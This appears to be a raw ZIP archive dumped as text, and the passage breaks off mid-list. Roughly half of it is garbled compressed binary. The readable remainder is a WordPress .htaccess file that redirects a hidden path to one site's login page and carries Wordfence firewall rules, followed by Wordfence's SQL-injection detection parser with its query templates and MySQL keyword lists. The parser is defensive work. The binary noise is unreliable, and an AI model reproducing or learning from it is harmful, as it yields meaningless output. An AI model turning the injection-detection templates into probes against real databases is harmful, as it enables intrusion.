4Q9zd꫙|Yb}:?-PцJ&;^ۯ8LE2,@5꒮":ET0 Ħ"F\sS	7y `-z^+\osmvywndbctusizcofhj|cɧB3'imX IP$Z|Vs@c?%r]JCؤlsޮvv-߾xa
^o0my|Tqv3#tusizcofhjqNkDWm
L.kpo:tq᭕lRf^JVvFѲiSB {8Z\xpF~8]~#@V«1G`wL+04KmCxO9i~y9D5(osmvywndbcEF75PeY'9ͦIx(aPY|etusizcofhj|XM6y
}+~uQ:=}""ei+QDy&o_xeX]Jqk偖)ДΨC]yJBX/ޥ1ڟH$!-
 tn*jC?7?"gd8$'k})̱xMAXvbKo3)zWxwa82OdZ!tߵ\osmvywndbc9IYM_AmgFJDb]Wn1=9 { m[4EȆ
\Y7*\tusizcofhj1\M%
ίL9] 	Ly!خ8'V:ctusizcofhj@]-etjh$/[n1觝^]hw9`[Ufab!L|FC4_SQDxf5*҃ʦ\9\
xJ60 8Q26βt3* RŲr]{Ϝ4Iu|+ѷ6o
bƇ[JޏɭХD0M7KA~Mxm̲!BOoxtusizcofhjoI/t#-.𙇤uoÇG}*=^YM":LqX୉\+vniJdbmX)D
#ZkWg2L*6/Yϰ2qNg+Qo 'Ijg;1ln/ey@KL9̓IQRdf8J˧}\b{|,dcn.UW˚Dc3skRpĮ`ٺ{AsHۼ/	z!Sk@nVvDFQ1}o)JaɀIeiwP2:8(45ގd.ݩM܋HL^F'zD~ꑇ%osmvywndbc%o~!SFb.vx 5s)'NE$.
M9EاWTn7_mYV]L)K0,qF?dKR6g|n0@(BVʪ^]eq$5$ŕe_2;ޡ}Y53/tjI: 8kob\3F{llOn$DP.KR'FWBqHtusizcofhj؈nBnݾRp&h2C2U+^E}Xb:;~ܮO塡
B0p!= 0_{D(mD/ffA~JFRp"y=ǩ%Gu!'o~rsidϒzE1%gnOfJD{G9ԹRNOP;Tي/[ɰ&lUkģ|tusizcofhjVUj+LfBH,mKo1Mi3^m
CC|r\/~cbMLH 6F/?cɨJ;]/rix4 VZdtD/Gposmvywndbc[b C 	X5251Pn
LX*e}DD{{&qi֯Mxַ՟M- ∎'8x!pTiF6rD}%I| 1HxnfS]Kyِ"i͐T[F, =9k`@Lgd6A$lQיphdN@ ~ܶ!]QKu/bs@7Z_b_5ľWosmvywndbcBd x _~EO,E.39Dh`ĸ^Kfյ:9npE:z~#bT=qWHcp0ہ\..˱$iosmvywndbcYqS#7nok%_MFtusizcofhj5yL`&osmvywndbcOZ! \!s;_l$832&If1f/B̔X52/A)4`G~S1C2/h	&\6uosmvywndbcX""׬fU%D-V4sbƏw$]ߵB}j~B.ӔW8nW~?v+d-S%OQdr̭z0p[7s5%t==}(¬f37iG4:`G##$'OmnǮj
8wwCh2c  oAU'45BXG~LPosmvywndbcJm
YCǔ˦|{9$ Xh0̀u]gܳ_0L]Vb= ځ(siViW('ב x(]M=~ݛTQQ7_osmvywndbcPt33i2IyD4_oK-$	yPhW2'׹ggx_$Xa&o,?h3L!,?$!T+lp۳ʎu/
d4ܮ^(3meF·Id~3`qi⼘ÌosmvywndbcV4ʮvT:B'a$GAf7/-U2(AꓨYK]Ze--"Mr W1/p]X'ݯ5LM_0҇+aKƌ Qk22yK6z-uMݦaɕ,
@!z[."	` 'C\VFcCiqXB}UIAx4LӾosmvywndbc~ fKu&!+CtPx5wtޑC͆wyt!Boh%p1aUK
sfpߘknXxYH?_Q\)@a8O(47=fNx1еf踹 :,k}q1Q׈vҽN lhL֤oBfFԑCtusizcofhjkiAUn!PXsT͝\w_q__"L:Kz7JM/.*"@D;CDl'΄ZdѸZcjn~:=PÛ=NeݕL%%)P⭹,ψtusizcofhj]osmvywndbck׎b*c7[]k|vosmvywndbc)̒ZiT
~B7Hˏ\B	8iͨ1\a0q^!j;tE󹱶osmvywndbc _
fi4+9O۬{&C@(Ή0FԅX?dWiO#Q
02ߥcAioW$=N	s(`G
OM;~",qǧtusizcofhj~wOyF`7_h?I%˻ѯՖV? *M(Dc'p	?cPqљV.T61N6Z1LRߍ%T-vpRgBL2tusizcofhj)
W)6~s$cbcF5eK	\*Kنp A#|Dq/5' *r2)Q.fܓ_\Kz3 tft@X8osmvywndbcx|݉8e dؑ8,3":6=':SZߕ]{+G/%fIwS_|wm`i.}[SQi$A딠"Y;ͱ"Lye!&ǀ	4kefQCS/X~ Q6 omD@)	#uNf@=Jkod(;,lSlbmbސeۂ[  KMxN#}9^S1H-߬Qtusizcofhj-	-|]tusizcofhjo2"@U@H(\arRnѳg4-`Z2/tusizcofhjׂnGF8osmvywndbcLu'~yR.m_@_=.X|??ttusizcofhjNrszXJ!fKe!m2]6t-ј _}
Sosmvywndbc^31gp,m?Y/14['y$Sś.*h)zy *SRUp|BDwfpL~ @|W5 ߬:=D,gV#_"nfgcҌDmNtusizcofhjbwr	)wKp)/an -qgc"f^	'݌L{etusizcofhjH+'?3呖X诫ٜXY#oUcI{)ww޾$ʻ \E?y30O7Cc?=K\SM]$!l
.܊1-$@S(q٭m# {Ysbc%E όYd4J\&+yZrXB=osmvywndbcP~]ALle8osmvywndbc3 +Ghb$-
Ezv$©sd#_usgIQ/!{ osmvywndbc o.n?z\MDxAȪId!aιZosmvywndbc1A"6g3X.AG#z:~P;
Oּ~mi뛂Fv_.4eOROí^L;DnXMՐɈ{v]LRQX1Q(zLеtwjosmvywndbc]N81X|Z|7lo/3 ܨ,dc	,wkosmvywndbcZ.IX*ύ㿧!{l҅& 84f_xntusizcofhjpw'ҕ8iP=JyW޾HBtusizcofhjօ%IZosmvywndbce{v6͙4=9,D	R@u/^osmvywndbcmLtusizcofhjlT$tusizcofhjK˅^$Z#BTP
#)?3foć4U0KN|NSՉ3ػa!]]i=Rr0+RpJthru.Ml:~ԫ2{D;KͯFKg
47ݗQHMlcO2;-4m}~\s+ukqLTosmvywndbcq SJTDJyr9#.osmvywndbcu8F'Ζ@Twg2rQo WvLE\tusizcofhjlOuS,
%_{6T:djm'Ib!]3!iܯd[^AX`BPIi啃yEN@6!OkGZ GAWη	ݮao5eeT|"soK6vݣj:p=mk2g9^EtV ApOG`9RGr}ltR9݇vLtusizcofhjw0ca4$v:k;u4)l
{{?mI.}#NH5ChRL%o?w.`A!y,4~g(k~'AuEҽ)ʮi.ز!_a= -+('ĜãPs6W\josmvywndbc1YkU%6M`)vW#OZ[9"-DA.2'Ju-ڡFsK߹',Ω[ 2x#1׹x&l']^Pj8=!ZcEHсmAfTcv2,yC	ccJQ6(=B[Qr"wNd[=JO%wA#`_|=bze|9Z{PY Qtusizcofhj̐ZNosmvywndbcxM1 Y,aFwqm:D[ tusizcofhjtusizcofhjL_v
ty#.I{"M5\B3qLJ[RJzbɗ:[Jb?2Ds,+nū$4)|s҂&tusizcofhjvF{EYtusizcofhjlQgٻ՘5Lt`p
G--d_t-@#v#i!nNNGvRuT}o4Ťosmvywndbc^Z[K.GF=.0&-
u Hؗ芪Hb*%kKtusizcofhj-Ȳ!`q$:nL]љiiłPqr`}1Kc:@Az*ZB&UӡƋa?g8t{_ځ(	k­g|UiA$c_tusizcofhj*u2NZ3{IXfFwÔt.GREuLrosmvywndbct҄[;~+vCtGyLG\	=)?x8c=v܀Jl	^G@y]rǧϏ9w$}d0*'٢Q;f1ozI ]^tIy]K_ǇdN@	rf
`Nnv|XUO:8:&aW:t̢07wz([&ҳ88SyJUÙZTtusizcofhj=[Uc_E[y߯D!;ъkZƢ~og7SMer ~?DO}I} |=mm(fҢy!Џtusizcofhj^вǓb9)Ti6Z:!̳'^A*VtLw;p^S!EG9(oe,`]bDPFўpy$DtQ2)1gr90?d]̀iyץ絮ps/Y~òǩcq@7FA_vT}q=F(rKꏄhAd4q5KPѰ$#
uyHA/mo֚t4i6v0F+#$g5H-kXAzBaR|ξ8Nxs[ߍW)AĽQ2o`ƣ(P[O)7f=MN;vݔ#{e҂Qa7.QKyA9Nȣ1/idhb	-@)^I %^cZ_wۺ)W]|s)Bۺ rosmvywndbce_s+1Qr8Y|r~"	~y9\R.Yo.'#PfJ/f Cpntusizcofhj\	#]}I{{osmvywndbc)1'?wՉtFeMֈ]DkV:\5+ D!y0YV;N;&Ћv~5Ǖo88SF-^ۥ|)e̵t=A=t9w[7糙/k-$/Ri?vLSViP0rF'%JKRAǦA7	gw~KQ.Lղ滧xԫ;(xGmƌ_"-P@[G#D蓅NOyuS1zLd`tusizcofhj-W3醪Xf|̝沍Q-mdVZ/^:}~;^P/rDPn'WB~`~ϤBN4OW0g׆X4Qg68GPA#[33p}~1դ%ε!~4؜KERZx_olM
E dߥUP*J_o@T=tusizcofhj
'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! pkz      parser/wp/.htaccessnu 7m        RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
PK       ! wS S   parser/sqli.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

require_once dirname(__FILE__) . '/lexer.php';

class wfWAFSQLiParser extends wfWAFBaseParser {

	const FLAG_PARSE_MYSQL_PORTABLE_COMMENTS = wfWAFSQLiLexer::FLAG_TOKENIZE_MYSQL_PORTABLE_COMMENTS;

	/**
	 * @param string $param
	 * @return bool
	 */
	public static function testForSQLi($param) {
		static $instance;
		static $tests;
		if (!$instance) {
			$instance = new self(new wfWAFSQLiLexer());
		}
		if (!$tests) {
			// SQL statement and token count for lexer
			$tests = array(
				array('%s', 1),
				array('SELECT * FROM t WHERE i = %s ', 7),
				array("SELECT * FROM t WHERE i = '%s' ", 7),
				array('SELECT * FROM t WHERE i = "%s" ', 7),
				array('SELECT * FROM t WHERE i = (%s) ', 9),
				array("SELECT * FROM t WHERE i = ('%s') ", 9),
				array('SELECT * FROM t WHERE i = ("%s") ', 9),
				array('SELECT * FROM t WHERE i = ((%s)) ', 11),
				array("SELECT * FROM t WHERE i = (('%s')) ", 11),
				array('SELECT * FROM t WHERE i = (("%s")) ', 11),
				array('SELECT * FROM t WHERE i = (((%s))) ', 13),
				array("SELECT * FROM t WHERE i = ((('%s'))) ", 13),
				array('SELECT * FROM t WHERE i = ((("%s"))) ', 13),

				array('SELECT * FROM t WHERE i = %s and j = (1
) ', 12),
				array("SELECT * FROM t WHERE i = '%s' and j = (1
) ", 12),
				array('SELECT * FROM t WHERE i = "%s" and j = (1
) ', 12),

				array('SELECT MATCH(t) AGAINST (%s) from t ', 10),
				array("SELECT MATCH(t) AGAINST ('%s') from t ", 10),
				array('SELECT MATCH(t) AGAINST ("%s") from t ', 10),

//				array('SELECT CASE WHEN %s THEN 1 ELSE 0 END from t ', 8),
//				array("SELECT CASE WHEN '%s' THEN 1 ELSE 0 END from t ", 8),
//				array('SELECT CASE WHEN "%s" THEN 1 ELSE 0 END from t ', 8),
//
//				array('SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) from t ', 12),
//				array("SELECT (CASE WHEN ('%s') THEN 1 ELSE 0 END) from t ", 12),
//				array('SELECT (CASE WHEN ("%s") THEN 1 ELSE 0 END) from t ', 12),

				array('SELECT * FROM (select %s) ', 6),
				array("SELECT * FROM (select '%s') ", 6),
				array('SELECT * FROM (select "%s") ', 6),
				array('SELECT * FROM (select (%s)) ', 8),
				array("SELECT * FROM (select ('%s')) ", 8),
				array('SELECT * FROM (select ("%s")) ', 8),
				array('SELECT * FROM (select ((%s))) ', 10),
				array("SELECT * FROM (select (('%s'))) ", 10),
				array('SELECT * FROM (select (("%s"))) ', 10),
//
//				array('SELECT * FROM t JOIN t2 on i = %s ', 9),
//				array("SELECT * FROM t JOIN t2 on i = '%s' ", 9),
//				array('SELECT * FROM t JOIN t2 on i = "%s" ', 9),
//				array('SELECT * FROM t JOIN t2 on i = (%s) ', 11),
//				array("SELECT * FROM t JOIN t2 on i = ('%s') ", 11),
//				array('SELECT * FROM t JOIN t2 on i = ("%s") ', 11),
//				array('SELECT * FROM t JOIN t2 on i = ((%s)) ', 13),
//				array("SELECT * FROM t JOIN t2 on i = (('%s')) ", 13),
//				array('SELECT * FROM t JOIN t2 on i = (("%s")) ', 13),
//				array('SELECT * FROM t JOIN t2 on i = (((%s))) ', 15),
//				array("SELECT * FROM t JOIN t2 on i = ((('%s'))) ", 15),
//				array('SELECT * FROM t JOIN t2 on i = ((("%s"))) ', 15),

				array('SELECT * FROM %s ', 3),
				array('INSERT INTO t (col) VALUES (%s) ', 9),
				array("INSERT INTO t (col) VALUES ('%s') ", 9),
				array('INSERT INTO t (col) VALUES ("%s") ', 9),
				array('UPDATE t1 SET col1 = %s ', 5),
				array('UPDATE t1 SET col1 = \'%s\' ', 5),
			);
		}
		$lexerFlags = array(0, wfWAFSQLiLexer::FLAG_TOKENIZE_MYSQL_PORTABLE_COMMENTS);
		foreach ($lexerFlags as $flags) {
			foreach ($tests as $test) {
//				$startTime = microtime(true);
				list($sql, $expectedTokenCount) = $test;
				try {
					$instance->setFlags($flags);
					$instance->setSubject(sprintf($sql, $param));
					if (($instance->hasMoreThanNumTokens($expectedTokenCount) && $instance->evaluate())
						|| $instance->hasMultiplePortableCommentVersions()) {
//						printf("%s took %f seconds\n", $sql, microtime(true) - $startTime);
						return true;
					}
//					printf("%s took %f seconds\n", $sql, microtime(true) - $startTime);
				} catch (wfWAFParserSyntaxError $e) {

				}
			}
		}
		return false;
	}

	private $subject;

	/**
	 * @var int
	 */
	private $flags;
	/** @var wfWAFSQLiLexer */
	protected $lexer;
	private $portableCommentVersions = array();

	private $intervalUnits = array(
		'SECOND',
		'MINUTE',
		'HOUR',
		'DAY_SYM',
		'WEEK',
		'MONTH',
		'QUARTER',
		'YEAR',
		'SECOND_MICROSECOND',
		'MINUTE_MICROSECOND',
		'MINUTE_SECOND',
		'HOUR_MICROSECOND',
		'HOUR_SECOND',
		'HOUR_MINUTE',
		'DAY_MICROSECOND',
		'DAY_SECOND',
		'DAY_MINUTE',
		'DAY_HOUR',
		'YEAR_MONTH',
	);

	private $reservedWords = array(
		"_FILENAME",
		"ACCESSIBLE",
		"ADD",
		"ALL",
		"ALTER",
		"ANALYZE",
		"AND",
		"AS",
		"ASC",
		"ASENSITIVE",
		"BEFORE",
		"BETWEEN",
		"BIGINT",
		"BINARY",
		"BLOB",
		"BOTH",
		"BY",
		"CALL",
		"CASCADE",
		"CASE",
		"CHANGE",
		"CHAR",
		"CHARACTER",
		"CHECK",
		"COLLATE",
		"COLUMN",
		"CONDITION",
		"CONSTRAINT",
		"CONTINUE",
		"CONVERT",
		"CREATE",
		"CROSS",
		"CURRENT_DATE",
		"CURRENT_TIME",
		"CURRENT_TIMESTAMP",
		"CURRENT_USER",
		"CURSOR",
		"DATABASE",
		"DATABASES",
		"DAY_HOUR",
		"DAY_MICROSECOND",
		"DAY_MINUTE",
		"DAY_SECOND",
		"DEC",
		"DECIMAL",
		"DECLARE",
		"DEFAULT",
		"DELAYED",
		"DELETE",
		"DESC",
		"DESCRIBE",
		"DETERMINISTIC",
		"DISTINCT",
		"DISTINCTROW",
		"DIV",
		"DOUBLE",
		"DROP",
//		"DUAL", // works as a table name ???
		"EACH",
		"ELSE",
		"ELSEIF",
		"ENCLOSED",
		"ESCAPED",
		"EXISTS",
		"EXIT",
		"EXPLAIN",
		"FALSE",
		"FETCH",
		"FLOAT",
		"FLOAT4",
		"FLOAT8",
		"FOR",
		"FORCE",
		"FOREIGN",
		"FROM",
		"FULLTEXT",
		"GRANT",
		"GROUP",
		"HAVING",
		"HIGH_PRIORITY",
		"HOUR_MICROSECOND",
		"HOUR_MINUTE",
		"HOUR_SECOND",
		"IF",
		"IGNORE",
		"IN",
		"INDEX",
		"INFILE",
		"INNER",
		"INOUT",
		"INSENSITIVE",
		"INSERT",
		"INT",
		"INT1",
		"INT2",
		"INT3",
		"INT4",
		"INT8",
		"INTEGER",
		"INTERVAL",
		"INTO",
		"IS",
		"ITERATE",
		"JOIN",
		"KEY",
		"KEYS",
		"KILL",
		"LEADING",
		"LEAVE",
		"LEFT",
		"LIKE",
		"LIMIT",
		"LINEAR",
		"LINES",
		"LOAD",
		"LOCALTIME",
		"LOCALTIMESTAMP",
		"LOCK",
		"LONG",
		"LONGBLOB",
		"LONGTEXT",
		"LOOP",
		"LOW_PRIORITY",
		"MASTER_SSL_VERIFY_SERVER_CERT",
		"MATCH",
		"MAXVALUE",
		"MEDIUMBLOB",
		"MEDIUMINT",
		"MEDIUMTEXT",
		"MIDDLEINT",
		"MINUTE_MICROSECOND",
		"MINUTE_SECOND",
		"MOD",
		"MODIFIES",
		"NATURAL",
		"NOT",
		"NO_WRITE_TO_BINLOG",
		"NULL",
		"NUMERIC",
		"ON",
		"OPTIMIZE",
		"OPTION",
		"OPTIONALLY",
		"OR",
		"ORDER",
		"OUT",
		"OUTER",
		"OUTFILE",
		"PRECISION",
		"PRIMARY",
		"PROCEDURE",
		"PURGE",
		"RANGE",
		"READ",
		"READS",
		"READ_WRITE",
		"REAL",
		"REFERENCES",
		"REGEXP",
		"RELEASE",
		"RENAME",
		"REPEAT",
		"REPLACE",
		"REQUIRE",
		"RESIGNAL",
		"RESTRICT",
		"RETURN",
		"REVOKE",
		"RIGHT",
		"RLIKE",
		"SCHEMA",
		"SCHEMAS",
		"SECOND_MICROSECOND",
		"SELECT",
		"SENSITIVE",
		"SEPARATOR",
		"SET",
		"SHOW",
		"SIGNAL",
		"SMALLINT",
		"SPATIAL",
		"SPECIFIC",
		"SQL",
		"SQLEXCEPTION",
		"SQLSTATE",
		"SQLWARNING",
		"SQL_BIG_RESULT",
		"SQL_CALC_FOUND_ROWS",
		"SQL_SMALL_RESULT",
		"SSL",
		"STARTING",
		"STRAIGHT_JOIN",
		"TABLE",
		"TERMINATED",
		"THEN",
		"TINYBLOB",
		"TINYINT",
		"TINYTEXT",
		"TO",
		"TRAILING",
		"TRIGGER",
		"TRUE",
		"UNDO",
		"UNION",
		"UNIQUE",
		"UNLOCK",
		"UNSIGNED",
		"UPDATE",
		"USAGE",
		"USE",
		"USING",
		"UTC_DATE",
		"UTC_TIME",
		"UTC_TIMESTAMP",
		"VALUES",
		"VARBINARY",
		"VARCHAR",
		"VARCHARACTER",
		"VARYING",
		"WHEN",
		"WHERE",
		"WHILE",
		"WITH",
		"WRITE",
		"XOR",
		"YEAR_MONTH",
		"ZEROFILL",
	);
	private $keywords = array(
		"ACCESSIBLE",
		"ACTION",
		"ADD",
		"AFTER",
		"AGAINST",
		"AGGREGATE",
		"ALGORITHM",
		"ALL",
		"ALTER",
		"ANALYZE",
		"AND",
		"ANY",
		"AS",
		"ASC",
		"ASCII",
		"ASENSITIVE",
		"AT",
		"AUTHORS",
		"AUTOEXTEND_SIZE",
		"AUTO_INCREMENT",
		"AVG",
		"AVG_ROW_LENGTH",
		"BACKUP",
		"BEFORE",
		"BEGIN",
		"BETWEEN",
		"BIGINT",
		"BINARY",
		"BINLOG",
		"BIT",
		"BLOB",
		"BLOCK",
		"BOOL",
		"BOOLEAN",
		"BOTH",
		"BTREE",
		"BY",
		"BYTE",
		"CACHE",
		"CALL",
		"CASCADE",
		"CASCADED",
		"CASE",
		"CATALOG_NAME",
		"CHAIN",
		"CHANGE",
		"CHANGED",
		"CHAR",
		"CHARACTER",
		"CHARSET",
		"CHECK",
		"CHECKSUM",
		"CIPHER",
		"CLASS_ORIGIN",
		"CLIENT",
		"CLOSE",
		"COALESCE",
		"CODE",
		"COLLATE",
		"COLLATION",
		"COLUMN",
		"COLUMNS",
		"COLUMN_NAME",
		"COMMENT",
		"COMMIT",
		"COMMITTED",
		"COMPACT",
		"COMPLETION",
		"COMPRESSED",
		"CONCURRENT",
		"CONDITION",
		"CONNECTION",
